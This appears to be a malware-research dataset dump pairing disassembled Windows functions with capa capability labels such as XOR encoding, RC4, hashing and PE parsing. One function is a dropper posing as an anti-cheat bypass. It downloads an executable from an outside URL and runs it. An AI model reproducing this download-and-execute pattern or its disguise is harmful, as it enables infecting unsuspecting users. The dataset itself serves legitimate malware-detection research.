joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1801d6de0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x20
mov rax, qword [rsp + 0x50]
movzx eax, word [rax]
mov dword [rsp + 0xc], eax
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp], rax
mov rax, qword [rsp + 0x38]
cmp qword [rsp], rax
jb 0x1801d6e23
xor eax, eax
jmp 0x1801d6eee
mov rax, qword [rsp]
mov rcx, qword [rsp + 0x38]
sub rcx, rax
mov rax, rcx
mov eax, eax
cmp qword [rsp + 0x48], rax
jbe 0x1801d6e51
mov rax, qword [rsp]
mov rcx, qword [rsp + 0x38]
sub rcx, rax
mov rax, rcx
mov eax, eax
mov qword [rsp + 0x48], rax
mov dword [rsp + 8], 0
jmp 0x1801d6e65
mov eax, dword [rsp + 8]
inc eax
mov dword [rsp + 8], eax
mov eax, dword [rsp + 8]
cmp rax, qword [rsp + 0x48]
jae 0x1801d6ec6
mov eax, dword [rsp + 8]
mov rcx, qword [rsp]
movzx eax, byte [rcx + rax]
mov dword [rsp + 0x10], eax
mov eax, dword [rsp + 0xc]
shr eax, 8
mov ecx, dword [rsp + 0x10]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x14], eax
mov eax, dword [rsp + 0xc]
mov ecx, dword [rsp + 0x10]
add ecx, eax
mov eax, ecx
imul eax, eax, 0xce6d
add eax, 0x58bf
and eax, 0xffff
mov dword [rsp + 0xc], eax
mov eax, dword [rsp + 8]
mov rcx, qword [rsp + 0x40]
movzx edx, byte [rsp + 0x14]
mov byte [rcx + rax], dl
jmp 0x1801d6e5b
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x30]
mov qword [rcx], rax
mov rax, qword [rsp + 0x50]
movzx ecx, word [rsp + 0xc]
mov word [rax], cx
mov eax, dword [rsp + 8]
add rsp, 0x20
pop rdi
ret
Function at 0x1802002c0
Capabilities:
Hash data using murmur3

Disassembly:
mov dword [rsp + 8], ecx
push rdi
mov eax, dword [rsp + 0x10]
shr eax, 0x10
mov ecx, dword [rsp + 0x10]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x10], eax
imul eax, dword [rsp + 0x10], 0x85ebca6b
mov dword [rsp + 0x10], eax
mov eax, dword [rsp + 0x10]
shr eax, 0xd
mov ecx, dword [rsp + 0x10]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x10], eax
imul eax, dword [rsp + 0x10], 0xc2b2ae35
mov dword [rsp + 0x10], eax
mov eax, dword [rsp + 0x10]
shr eax, 0x10
mov ecx, dword [rsp + 0x10]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x10], eax
mov eax, dword [rsp + 0x10]
pop rdi
ret
Function at 0x140009038
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rbx, r8
mov r9, rcx
xor ecx, ecx
movabs r8, 0xcbf29ce484222325
mov rsi, rdx
movzx eax, byte [rbx + rcx + 0x10]
movabs rdx, 0x100000001b3
xor r8, rax
inc rcx
imul r8, rdx
cmp rcx, 4
jb 0x14000905c
mov rdx, qword [r9 + 0x30]
mov rcx, qword [r9 + 0x18]
and rdx, r8
add rdx, rdx
cmp qword [rcx + rdx*8 + 8], rbx
jne 0x1400090b3
cmp qword [rcx + rdx*8], rbx
jne 0x1400090a8
mov rax, qword [r9 + 8]
mov qword [rcx + rdx*8], rax
mov rcx, qword [r9 + 0x18]
mov rax, qword [r9 + 8]
jmp 0x1400090ac
mov rax, qword [rbx + 8]
mov qword [rcx + rdx*8 + 8], rax
jmp 0x1400090c0
cmp qword [rcx + rdx*8], rbx
jne 0x1400090c0
mov rax, qword [rbx]
mov qword [rcx + rdx*8], rax
mov rax, qword [rbx + 8]
mov rdi, qword [rbx]
mov qword [rax], rdi
mov rcx, qword [rbx]
mov rax, qword [rbx + 8]
mov qword [rcx + 8], rax
dec qword [r9 + 0x10]
mov rdx, qword [rbx + 0x30]
cmp rdx, 8
jb 0x1400090f5
mov rcx, qword [rbx + 0x18]
inc rdx
mov r8d, 2
call fcn.1400020a4
mov edx, 1
mov rcx, rbx
lea r8d, [rdx + 0x37]
call fcn.1400020a4
mov rbx, qword [rsp + 0x30]
mov rax, rsi
mov qword [rsi], rdi
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret

Function at 0x14000b51c
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.api_ms_win_core_debug_l1_1_1.dll_IsDebuggerPresent]
mov ecx, 1
mov dword [0x1400148a0], eax
call fcn.14000b2a4
xor ecx, ecx
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_1.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_1.dll_UnhandledExceptionFilter]
cmp dword [0x1400148a0], 0
jne case.default.0x14000b572
mov ecx, 1
call fcn.14000b2a4
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_2.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000409
add rsp, 0x20
pop rbx
jmp qword [sym.imp.api_ms_win_core_processthreads_l1_1_2.dll_TerminateProcess]
test al, 0x17
sti
out dx, al
invalid
Function at 0x140001520
Capabilities:
Create thread

Disassembly:
sub rsp, 0x78
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x60], rax
lea rcx, [rsp + 0x30]
call qword [sym.imp.USER32.dll_GetCursorPos]
mov ecx, 0x10
call fcn.140001680
mov rcx, qword [rsp + 0x30]
mov qword [rax], rcx
lea rcx, [0x140001280]
mov qword [rax + 8], rcx
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0x48]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], 0
mov r9, rax
lea r8, [0x140001610]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x40], rax
test rax, rax
je 0x1400015dc
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_istream_char__struct_std::char_traits_char__::get_void____ptr64]
cmp dword [rsp + 0x48], 0
je 0x1400015d0
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x50]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x1400015d0
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.140001660
add rsp, 0x78
ret
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rsp + 0x48], 0
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3

Function at 0x140002000
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000204a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000204a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000204a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000204a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000204a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000204c
xor al, al
add rsp, 0x28
ret
Function at 0x1400011c0
Capabilities:
Create process on windows
Download url
Execute command
Get common file path
Receive data
Set console window title
Terminate process

Disassembly:
sub rsp, 0x298
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x280], rax
lea rcx, str.color_3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.Blend_EAC_Bypass__1hAck.org
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
lea rdx, str.1hAck_Blend_Anti_Cheat_Bypass_n_nPress_any_key_to_bypass_EAC..._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140001510
call qword [sym.imp.api_ms_win_crt_conio_l1_1_0.dll__getch]
test eax, eax
je 0x1400012fc
lea rdx, str._nPlease_wait..
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140001510
lea rdx, str._nReplacing..
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140001510
lea rax, [rsp + 0x70]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x1c]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
js 0x1400012fc
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x30]
call fcn.1400013c0
nop
mov rdx, rax
lea rcx, [rsp + 0x50]
call fcn.1400016f0
nop
lea rcx, [rsp + 0x30]
call fcn.140001350
lea rcx, [rsp + 0x50]
call fcn.140001340
mov r8, rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea rdx, str.https:__zstorm.netlify.app_bypass.exe
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
lea rdx, str._nChecking..
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140001510
lea rcx, [rsp + 0x50]
call fcn.140001340
mov r8, rax
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
nop
lea rcx, [rsp + 0x50]
call fcn.140001350
lea rdx, str._n_nSuccess__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400017c0
lea rdx, str.Closing_in_3_seconds..
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400017c0
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3

Function at 0x1400025b0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400025fa
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400025fa
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400025fa
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400025fa
cmp dword [rcx + 0x84], 0xe
jbe 0x1400025fa
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400025fc
xor al, al
add rsp, 0x28
ret
Function at 0x1800077b0
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x20
movups xmm0, xmmword [rdx + 0x20]
mov r10, rdx
mov r9, rcx
movsd xmm1, qword [rdx + 0x30]
sub r10, rcx
movups xmmword [rsp], xmm0
mov rbx, qword [rsp]
mov r11d, 0x1f
mov rdx, qword [rsp + 8]
movsd qword [rsp + 0x10], xmm1
mov r8, qword [rsp + 0x10]
nop word [rax + rax]
imul r8, r8
add rdx, rbx
lea r9, [r9 + 1]
add r8, rdx
mov rax, r8
shr r8, 0x20
shl rax, 0x20
or r8, rax
movzx eax, r8b
xor al, byte [r9 + r10 - 1]
mov byte [r9 - 1], al
sub r11, 1
jne 0x1800077f0
mov byte [rcx + 0x1f], r11b
mov rax, rcx
add rsp, 0x20
pop rbx
ret

Function at 0x180008480
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov rbx, qword [r8]
mov r10, rcx
mov rax, qword [r8 + 0x10]
sub rdx, rcx
mov r9, qword [r8 + 8]
mov r11d, 0x1d
mov r8, rcx
nop
imul rax, rax
add r9, rbx
lea r8, [r8 + 1]
add rax, r9
mov rcx, rax
shr rax, 0x20
shl rcx, 0x20
or rax, rcx
movzx ecx, al
xor cl, byte [r8 + rdx - 1]
mov byte [r8 - 1], cl
sub r11, 1
jne 0x1800084a0
mov rbx, qword [rsp + 8]
mov rax, r10
mov byte [r10 + 0x1d], r11b
ret
Function at 0x180008d80
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
movups xmm0, xmmword [rdx + 0x38]
lea r11, [rcx + 1]
mov rbx, rcx
movsd xmm1, qword [rdx + 0x48]
mov esi, 5
movups xmmword [rsp], xmm0
mov rdi, qword [rsp]
sub rdx, rcx
mov r9, qword [rsp + 8]
movsd qword [rsp + 0x10], xmm1
mov r8, qword [rsp + 0x10]
nop
lea rcx, [r9 + rdi]
imul r8, r8
add r8, rcx
mov r9, r8
shl r8, 0x20
shr r9, 0x20
or r9, r8
lea r8, [rcx + rdi]
movzx eax, r9b
lea rcx, [r8 + rdi]
xor al, byte [rdx + r11 - 1]
imul r9, r9
mov byte [r11 - 1], al
add r9, r8
lea r8, [rcx + rdi]
mov r10, r9
shl r9, 0x20
shr r10, 0x20
or r10, r9
movzx eax, r10b
xor al, byte [rdx + r11]
imul r10, r10
mov byte [r11], al
add r10, rcx
lea rcx, [r8 + rdi]
mov r9, r10
shl r10, 0x20
shr r9, 0x20
or r9, r10
movzx eax, r9b
xor al, byte [rdx + r11 + 1]
imul r9, r9
mov byte [r11 + 1], al
add r9, r8
lea r8, [rcx + rdi]
mov r10, r9
shl r9, 0x20
shr r10, 0x20
or r10, r9
movzx eax, r10b
xor al, byte [rdx + r11 + 2]
imul r10, r10
mov byte [r11 + 2], al
add r10, rcx
lea rcx, [r8 + rdi]
mov r9, r10
shl r10, 0x20
shr r9, 0x20
or r9, r10
movzx eax, r9b
xor al, byte [rdx + r11 + 3]
imul r9, r9
mov byte [r11 + 3], al
add r9, r8
lea r8, [rcx + rdi]
mov r10, r9
shl r9, 0x20
shr r10, 0x20
or r10, r9
movzx eax, r10b
xor al, byte [rdx + r11 + 4]
imul r10, r10
mov byte [r11 + 4], al
add r10, rcx
lea rcx, [r8 + rdi]
mov r9, r10
shl r10, 0x20
shr r9, 0x20
or r9, r10
movzx eax, r9b
xor al, byte [rdx + r11 + 5]
imul r9, r9
mov byte [r11 + 5], al
add r9, r8
mov r10, r9
shl r9, 0x20
shr r10, 0x20
or r10, r9
movzx eax, r10b
xor al, byte [rdx + r11 + 6]
mov byte [r11 + 6], al
lea r8, [rcx + rdi]
imul r10, r10
lea r11, [r11 + 0xb]
add r10, rcx
mov r9, r10
shl r10, 0x20
shr r9, 0x20
or r9, r10
movzx eax, r9b
xor al, byte [rdx + r11 - 4]
mov byte [r11 - 4], al
imul r9, r9
add r9, r8
mov rcx, r9
shl r9, 0x20
shr rcx, 0x20
or rcx, r9
lea r9, [r8 + rdi]
movzx eax, cl
xor al, byte [rdx + r11 - 3]
imul rcx, rcx
mov byte [r11 - 3], al
add rcx, r9
mov r8, rcx
shl rcx, 0x20
shr r8, 0x20
or r8, rcx
movzx eax, r8b
xor al, byte [rdx + r11 - 2]
mov byte [r11 - 2], al
sub rsi, 1
jne 0x180008dc0
mov byte [rbx + 0x37], sil
mov rax, rbx
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x180008f90
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
movups xmm0, xmmword [rdx + 0x28]
lea r11, [rcx + 1]
mov rbx, rcx
movsd xmm1, qword [rdx + 0x38]
mov esi, 5
movups xmmword [rsp], xmm0
mov rdi, qword [rsp]
sub rdx, rcx
mov r9, qword [rsp + 8]
movsd qword [rsp + 0x10], xmm1
mov r8, qword [rsp + 0x10]
nop
lea rcx, [r9 + rdi]
imul r8, r8
lea r11, [r11 + 7]
add r8, rcx
mov r9, r8
shl r8, 0x20
shr r9, 0x20
or r9, r8
lea r8, [rcx + rdi]
movzx eax, r9b
lea rcx, [r8 + rdi]
xor al, byte [r11 + rdx - 8]
imul r9, r9
mov byte [r11 - 8], al
add r9, r8
lea r8, [rcx + rdi]
mov r10, r9
shl r9, 0x20
shr r10, 0x20
or r10, r9
movzx eax, r10b
xor al, byte [r11 + rdx - 7]
mov byte [r11 - 7], al
imul r10, r10
add r10, rcx
lea rcx, [r8 + rdi]
mov r9, r10
shl r10, 0x20
shr r9, 0x20
or r9, r10
movzx eax, r9b
xor al, byte [r11 + rdx - 6]
imul r9, r9
mov byte [r11 - 6], al
add r9, r8
lea r8, [rcx + rdi]
mov r10, r9
shl r9, 0x20
shr r10, 0x20
or r10, r9
movzx eax, r10b
xor al, byte [r11 + rdx - 5]
mov byte [r11 - 5], al
imul r10, r10
add r10, rcx
mov r9, r10
shl r10, 0x20
shr r9, 0x20
or r9, r10
movzx eax, r9b
xor al, byte [r11 + rdx - 4]
mov byte [r11 - 4], al
imul r9, r9
add r9, r8
mov rcx, r9
shl r9, 0x20
shr rcx, 0x20
or rcx, r9
lea r9, [r8 + rdi]
movzx eax, cl
xor al, byte [r11 + rdx - 3]
imul rcx, rcx
mov byte [r11 - 3], al
add rcx, r9
mov r8, rcx
shl rcx, 0x20
shr r8, 0x20
or r8, rcx
movzx eax, r8b
xor al, byte [r11 + rdx - 2]
mov byte [r11 - 2], al
sub rsi, 1
jne 0x180008fd0
mov byte [rbx + 0x23], sil
mov rax, rbx
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x18000a020
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
movups xmm0, xmmword [rdx + 0x30]
lea r11, [rcx + 1]
mov rbx, rcx
movsd xmm1, qword [rdx + 0x40]
mov esi, 3
movups xmmword [rsp], xmm0
mov rdi, qword [rsp]
sub rdx, rcx
mov r9, qword [rsp + 8]
movsd qword [rsp + 0x10], xmm1
mov r8, qword [rsp + 0x10]
nop
lea rcx, [r9 + rdi]
imul r8, r8
add r8, rcx
mov r9, r8
shl r8, 0x20
shr r9, 0x20
or r9, r8
lea r8, [rcx + rdi]
movzx eax, r9b
lea rcx, [r8 + rdi]
xor al, byte [rdx + r11 - 1]
imul r9, r9
mov byte [r11 - 1], al
add r9, r8
lea r8, [rcx + rdi]
mov r10, r9
shl r9, 0x20
shr r10, 0x20
or r10, r9
movzx eax, r10b
xor al, byte [rdx + r11]
imul r10, r10
mov byte [r11], al
add r10, rcx
lea rcx, [r8 + rdi]
mov r9, r10
shl r10, 0x20
shr r9, 0x20
or r9, r10
movzx eax, r9b
xor al, byte [rdx + r11 + 1]
imul r9, r9
mov byte [r11 + 1], al
add r9, r8
lea r8, [rcx + rdi]
mov r10, r9
shl r9, 0x20
shr r10, 0x20
or r10, r9
movzx eax, r10b
xor al, byte [rdx + r11 + 2]
imul r10, r10
mov byte [r11 + 2], al
add r10, rcx
lea rcx, [r8 + rdi]
mov r9, r10
shl r10, 0x20
shr r9, 0x20
or r9, r10
movzx eax, r9b
xor al, byte [rdx + r11 + 3]
imul r9, r9
mov byte [r11 + 3], al
add r9, r8
lea r8, [rcx + rdi]
mov r10, r9
shl r9, 0x20
shr r10, 0x20
or r10, r9
movzx eax, r10b
xor al, byte [rdx + r11 + 4]
imul r10, r10
mov byte [r11 + 4], al
add r10, rcx
lea rcx, [r8 + rdi]
mov r9, r10
shl r10, 0x20
shr r9, 0x20
or r9, r10
movzx eax, r9b
xor al, byte [rdx + r11 + 5]
imul r9, r9
mov byte [r11 + 5], al
add r9, r8
mov r10, r9
shl r9, 0x20
shr r10, 0x20
or r10, r9
movzx eax, r10b
xor al, byte [rdx + r11 + 6]
mov byte [r11 + 6], al
imul r10, r10
lea r8, [rcx + rdi]
add r10, rcx
lea r11, [r11 + 0xf]
mov r9, r10
lea rcx, [r8 + rdi]
shr r9, 0x20
shl r10, 0x20
or r9, r10
movzx eax, r9b
xor al, byte [rdx + r11 - 8]
imul r9, r9
mov byte [r11 - 8], al
add r9, r8
lea r8, [rcx + rdi]
mov r10, r9
shl r9, 0x20
shr r10, 0x20
or r10, r9
movzx eax, r10b
xor al, byte [rdx + r11 - 7]
mov byte [r11 - 7], al
imul r10, r10
add r10, rcx
lea rcx, [r8 + rdi]
mov r9, r10
shl r10, 0x20
shr r9, 0x20
or r9, r10
movzx eax, r9b
xor al, byte [rdx + r11 - 6]
imul r9, r9
mov byte [r11 - 6], al
add r9, r8
lea r8, [rcx + rdi]
mov r10, r9
shl r9, 0x20
shr r10, 0x20
or r10, r9
movzx eax, r10b
xor al, byte [rdx + r11 - 5]
mov byte [r11 - 5], al
imul r10, r10
add r10, rcx
mov r9, r10
shl r10, 0x20
shr r9, 0x20
or r9, r10
movzx eax, r9b
xor al, byte [rdx + r11 - 4]
mov byte [r11 - 4], al
imul r9, r9
add r9, r8
mov rcx, r9
shl r9, 0x20
shr rcx, 0x20
or rcx, r9
lea r9, [r8 + rdi]
movzx eax, cl
xor al, byte [rdx + r11 - 3]
imul rcx, rcx
mov byte [r11 - 3], al
add rcx, r9
mov r8, rcx
shl rcx, 0x20
shr r8, 0x20
or r8, rcx
movzx eax, r8b
xor al, byte [rdx + r11 - 2]
mov byte [r11 - 2], al
sub rsi, 1
jne 0x18000a060
mov byte [rbx + 0x2d], sil
mov rax, rbx
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x18000bce0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
movups xmm0, xmmword [rdx + 0x20]
lea r11, [rcx + 1]
mov rbx, rcx
movsd xmm1, qword [rdx + 0x30]
mov esi, 2
movups xmmword [rsp], xmm0
mov rdi, qword [rsp]
sub rdx, rcx
mov rcx, qword [rsp + 8]
movsd qword [rsp + 0x10], xmm1
mov r10, qword [rsp + 0x10]
nop
imul r10, r10
add rcx, rdi
add r10, rcx
mov r9, r10
shl r10, 0x20
shr r9, 0x20
or r9, r10
lea r8, [rcx + rdi]
movzx eax, r9b
lea rcx, [r8 + rdi]
xor al, byte [rdx + r11 - 1]
imul r9, r9
mov byte [r11 - 1], al
add r9, r8
lea r8, [rcx + rdi]
mov r10, r9
shl r9, 0x20
shr r10, 0x20
or r10, r9
movzx eax, r10b
xor al, byte [rdx + r11]
imul r10, r10
mov byte [r11], al
add r10, rcx
lea rcx, [r8 + rdi]
mov r9, r10
shl r10, 0x20
shr r9, 0x20
or r9, r10
movzx eax, r9b
xor al, byte [rdx + r11 + 1]
imul r9, r9
mov byte [r11 + 1], al
add r9, r8
lea r8, [rcx + rdi]
mov r10, r9
shl r9, 0x20
shr r10, 0x20
or r10, r9
movzx eax, r10b
xor al, byte [rdx + r11 + 2]
imul r10, r10
mov byte [r11 + 2], al
add r10, rcx
lea rcx, [r8 + rdi]
mov r9, r10
shl r10, 0x20
shr r9, 0x20
or r9, r10
movzx eax, r9b
xor al, byte [rdx + r11 + 3]
imul r9, r9
mov byte [r11 + 3], al
add r9, r8
lea r8, [rcx + rdi]
mov r10, r9
shl r9, 0x20
shr r10, 0x20
or r10, r9
movzx eax, r10b
xor al, byte [rdx + r11 + 4]
imul r10, r10
mov byte [r11 + 4], al
add r10, rcx
lea rcx, [r8 + rdi]
mov r9, r10
shl r10, 0x20
shr r9, 0x20
or r9, r10
movzx eax, r9b
xor al, byte [rdx + r11 + 5]
imul r9, r9
mov byte [r11 + 5], al
add r9, r8
mov r10, r9
shl r9, 0x20
shr r10, 0x20
or r10, r9
movzx eax, r10b
xor al, byte [rdx + r11 + 6]
mov byte [r11 + 6], al
imul r10, r10
lea r8, [rcx + rdi]
add r10, rcx
lea r11, [r11 + 0x10]
mov r9, r10
lea rcx, [r8 + rdi]
shl r10, 0x20
shr r9, 0x20
or r9, r10
movzx eax, r9b
xor al, byte [rdx + r11 - 9]
imul r9, r9
mov byte [r11 - 9], al
add r9, r8
lea r8, [rcx + rdi]
mov r10, r9
shl r9, 0x20
shr r10, 0x20
or r10, r9
movzx eax, r10b
xor al, byte [rdx + r11 - 8]
imul r10, r10
mov byte [r11 - 8], al
add r10, rcx
lea rcx, [r8 + rdi]
mov r9, r10
shl r10, 0x20
shr r9, 0x20
or r9, r10
movzx eax, r9b
xor al, byte [rdx + r11 - 7]
mov byte [r11 - 7], al
imul r9, r9
add r9, r8
lea r8, [rcx + rdi]
mov r10, r9
shl r9, 0x20
shr r10, 0x20
or r10, r9
movzx eax, r10b
xor al, byte [rdx + r11 - 6]
imul r10, r10
mov byte [r11 - 6], al
add r10, rcx
lea rcx, [r8 + rdi]
mov r9, r10
shl r10, 0x20
shr r9, 0x20
or r9, r10
movzx eax, r9b
xor al, byte [rdx + r11 - 5]
mov byte [r11 - 5], al
imul r9, r9
add r9, r8
mov r10, r9
shl r9, 0x20
shr r10, 0x20
or r10, r9
movzx eax, r10b
xor al, byte [rdx + r11 - 4]
imul r10, r10
mov byte [r11 - 4], al
add r10, rcx
add rcx, rdi
mov r8, r10
shl r10, 0x20
shr r8, 0x20
or r8, r10
movzx eax, r8b
xor al, byte [rdx + r11 - 3]
imul r8, r8
mov byte [r11 - 3], al
add r8, rcx
mov r10, r8
shl r8, 0x20
shr r10, 0x20
or r10, r8
movzx eax, r10b
xor al, byte [rdx + r11 - 2]
mov byte [r11 - 2], al
sub rsi, 1
jne 0x18000bd20
mov byte [rbx + 0x20], sil
mov rax, rbx
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x18000c770
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
movups xmm0, xmmword [rdx + 0x48]
lea r11, [rcx + 1]
mov rbx, rcx
movsd xmm1, qword [rdx + 0x58]
mov esi, 5
movups xmmword [rsp], xmm0
mov rdi, qword [rsp]
sub rdx, rcx
mov rcx, qword [rsp + 8]
movsd qword [rsp + 0x10], xmm1
mov r10, qword [rsp + 0x10]
nop
imul r10, r10
add rcx, rdi
add r10, rcx
mov r9, r10
shl r10, 0x20
shr r9, 0x20
or r9, r10
lea r8, [rcx + rdi]
movzx eax, r9b
lea rcx, [r8 + rdi]
xor al, byte [r11 + rdx - 1]
imul r9, r9
mov byte [r11 - 1], al
add r9, r8
lea r8, [rcx + rdi]
mov r10, r9
shl r9, 0x20
shr r10, 0x20
or r10, r9
movzx eax, r10b
xor al, byte [r11 + rdx]
imul r10, r10
mov byte [r11], al
add r10, rcx
lea rcx, [r8 + rdi]
mov r9, r10
shl r10, 0x20
shr r9, 0x20
or r9, r10
movzx eax, r9b
xor al, byte [r11 + rdx + 1]
imul r9, r9
mov byte [r11 + 1], al
add r9, r8
lea r8, [rcx + rdi]
mov r10, r9
shl r9, 0x20
shr r10, 0x20
or r10, r9
movzx eax, r10b
xor al, byte [r11 + rdx + 2]
imul r10, r10
mov byte [r11 + 2], al
add r10, rcx
lea rcx, [r8 + rdi]
mov r9, r10
shl r10, 0x20
shr r9, 0x20
or r9, r10
movzx eax, r9b
xor al, byte [r11 + rdx + 3]
imul r9, r9
mov byte [r11 + 3], al
add r9, r8
lea r8, [rcx + rdi]
mov r10, r9
shl r9, 0x20
shr r10, 0x20
or r10, r9
movzx eax, r10b
xor al, byte [r11 + rdx + 4]
imul r10, r10
mov byte [r11 + 4], al
add r10, rcx
lea rcx, [r8 + rdi]
mov r9, r10
shl r10, 0x20
shr r9, 0x20
or r9, r10
movzx eax, r9b
xor al, byte [r11 + rdx + 5]
imul r9, r9
mov byte [r11 + 5], al
add r9, r8
mov r10, r9
shl r9, 0x20
shr r10, 0x20
or r10, r9
movzx eax, r10b
xor al, byte [r11 + rdx + 6]
mov byte [r11 + 6], al
imul r10, r10
lea r8, [rcx + rdi]
add r10, rcx
lea r11, [r11 + 0xe]
mov r9, r10
lea rcx, [r8 + rdi]
shl r10, 0x20
shr r9, 0x20
or r9, r10
movzx eax, r9b
xor al, byte [r11 + rdx - 7]
mov byte [r11 - 7], al
imul r9, r9
add r9, r8
lea r8, [rcx + rdi]
mov r10, r9
shl r9, 0x20
shr r10, 0x20
or r10, r9
movzx eax, r10b
xor al, byte [r11 + rdx - 6]
imul r10, r10
mov byte [r11 - 6], al
add r10, rcx
lea rcx, [r8 + rdi]
mov r9, r10
shl r10, 0x20
shr r9, 0x20
or r9, r10
movzx eax, r9b
xor al, byte [r11 + rdx - 5]
mov byte [r11 - 5], al
imul r9, r9
add r9, r8
mov r10, r9
shl r9, 0x20
shr r10, 0x20
or r10, r9
movzx eax, r10b
xor al, byte [r11 + rdx - 4]
imul r10, r10
mov byte [r11 - 4], al
add r10, rcx
add rcx, rdi
mov r8, r10
shl r10, 0x20
shr r8, 0x20
or r8, r10
movzx eax, r8b
xor al, byte [r11 + rdx - 3]
imul r8, r8
mov byte [r11 - 3], al
add r8, rcx
mov r10, r8
